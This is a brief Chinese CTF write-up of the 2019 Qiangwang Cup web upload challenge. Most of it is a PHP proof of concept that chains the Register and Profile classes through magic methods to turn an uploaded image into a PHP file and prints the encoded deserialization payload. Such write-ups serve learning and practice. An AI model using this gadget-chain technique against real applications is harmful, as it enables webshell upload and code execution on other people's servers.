标签:cti orm 必须 write fun his serial url profile
题目复现链接:https://buuoj.cn/challenges
参考链接:2019 第三届强网杯 Web 部分 WriteUp + 复现环境
www.tar.gz
看起来文件很大,但是用phpstorm打开的话会发现默认打开的文件里有两个断点,其实是给的hint,指出了反序列化利用的地方。之后常规的反序列化利用,不是很难。
唯一要注意的是序列化会把命名空间序列化进去,所以poc在这个地方必须要加namespace app\web\controller;
<?php
namespace app\web\controller;
class Profile
{
public $checker;
public $filename_tmp;
public $filename;
public $upload_menu;
public $ext;
public $img;
public $except;
public function __construct()
{
}
public function __get($name)
{
return $this->except[$name];
}
public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}
}
class Register
{
public $checker;
public $registed;
public function __construct()
{
}
public function __destruct()
{
if(!$this->registed){
$this->checker->index();
}
}
}
$b = new Profile();
$b->except = array('index'=>'img');
$b->img = "upload_img";
$b->ext = true;
$b->filename = "./upload/f4e7685fe689f675c85caeefaedcf40c/00bf23e130fa1e525e332ff03dae345d.php";
$b->filename_tmp = "./upload/f4e7685fe689f675c85caeefaedcf40c/00bf23e130fa1e525e332ff03dae345d.png";
$a = new Register();
$a->registed = false;
$a->checker = $b;
echo urlencode(base64_encode(serialize($a)));
标签:cti orm 必须 write fun his serial url profile
原文地址:https://www.cnblogs.com/20175211lyz/p/11746254.html